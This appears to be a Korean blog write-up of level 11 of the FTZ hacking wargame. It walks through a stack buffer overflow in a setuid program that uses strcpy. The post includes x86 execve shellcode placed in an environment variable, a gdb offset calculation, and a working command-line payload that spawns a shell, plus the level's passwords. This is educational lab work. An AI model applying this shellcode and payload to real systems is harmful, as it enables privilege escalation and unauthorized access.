Systemhacking/FTZ

[FTZ] level 11

レ(゚∀゚;)ヘ=З=З=З 2021. 5. 17. 02:56
728x90

level11

(password : what!@#$?)

level11에 접속을 해서 'ls -l' 를 통해 'attackme' 라는 setuid인 파일과 'hint' 파일이 존재하는 것을 확인하였다.

'cat' 명령어를 통해 'hint' 파일 내용을 확인하였다.

 

더보기

 

'hint' 파일 해석

 

#include <stdio.h>
#include <stdlib.h>

int main( int argc, char *argv[] )
{
        char str[256];                                      (1)

        setreuid( 3092, 3092 );                          (2)
        strcpy( str, argv[1] );                             (3)
        printf( str );                                        (4)
}

 

(1) str 배열의 크기를 256 바이트로 지정

(2) level12의 사용자 ID

(3) 사용자가 입력한 값을 'strcpy' 를 통해 'str'에 복사한다.

(4) 'str' 값을 출력한다.

 

 

'hint' 파일에서 사용된 'strcpy'는 NULL 문자 전까지 문자열을 복사하는 함수이다. 이 함수는 문자열의 길이를 검사하지 않기 때문에 버퍼의 크기보다 더 큰 문자열이 들어오면 오버 플로우가 발생한다.

즉, 'strcpt'에서 발견할 수 있는 문제점은

1. 오버 플로우 발생 가능성 높음

2. 입력 받는 문자의 크기가 256 바이트 ('str' 배열의 크기) 넘었을 때의 처리 방법이 없음

이다.

즉, 위의 취약점인 오버 플로우를 통해 'RET' 값을 변조할 수 있다.

setuid 가 설정되어 있는 'attackme' 파일이 실행되는 동안에 쉘을 실행시키기 위해 쉘 코드를 사용해야 한다.

공격을 시도하기 전에 1. argv[1] 의 주소 2. str 버퍼에서 ret 시작점까지의 거리  를 알아야 한다.

먼저 '/tmp' 디렉토리로 소스코드를 복사해서 'level12.c' 파일을 생성하였다.

그 다음 컴파일을 해준 다음, 'ls' 를 통해 생성된 파일을 확인해 주었다.

'gdb' 명령어로 디버깅을 해 주고, 'b *main' 명령어로 브레이크 포인트를 잡아주었다.

<main+3> 에 나오는 0x108을 10진수로 변환하면 '264'가 나온다. 'str' 과 'dummy' 가 합쳐진 값이다.

( 256 byte(str) + 8 byte (dummy) = 264 byte )

메모리 구조를 생각해 보면,

BUFFER (256 byte) + dummy ( 8byte) + SFP (4byte) + RET (4byte) = 272 byte 이다.

buffer overflow 공격에는 1. NOP sled 2. 환경 변수 이용 이 있는데, 2번 방법으로 공격을 시도하였다.

먼저, 쉘을 실행시키기 위해 25 byte 쉘코드인 

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80 을 환경변수에 등록을 해 준 다음, 'export | grep' 을 통해 확인해 주었다.

그 다음, 환경변수의 주소를 획득하기 위해 ./tmp 아래에 'getlevel12.c' 파일을 만들어 주었다.

' getenv("변수명") ' 함수를 사용해서 'SHELLCODE'의 메모리 주소를 출력하도록 생성하였다.

그 다음, 'getlevel12.c' 파일을 'getlevel12'로 컴파일 해주었다.

생성한 './getlevel12' 을 입력하면 'SHELLCODE'의 주소, 즉 환경 변수의 주소가 '0xbffffbe7' 인 것을 확인할 수 있다.

환경 변수의 주소를 활용해 페이로드를 작성해 보았다.

[ ./attackme `python -c 'print "A"*268+"\xe7\xfb\xff\xbf"'` ]

-> 중요한 것은 확인한 환경 변수의 주소를 리틀 인디언 방식으로 바꿔서 입력해주어야 한다.

위와 같이 페이로드를 입력해 주었더니, 성공하였고, 'id'를 확인해보았다.

그리고 나서 원하는 값인 password를 얻기 위해 'my-pass'를 입력해 level12의 password인 "it is like this"를 확인할 수 있었다.

 

'Systemhacking > FTZ' 카테고리의 다른 글

[FTZ] level13  (0) 2021.05.23
[FTZ] level12  (0) 2021.05.23
[FTZ] level10  (0) 2021.05.17
[FTZ] level9  (0) 2021.05.06
[FTZ] level6  (0) 2021.03.30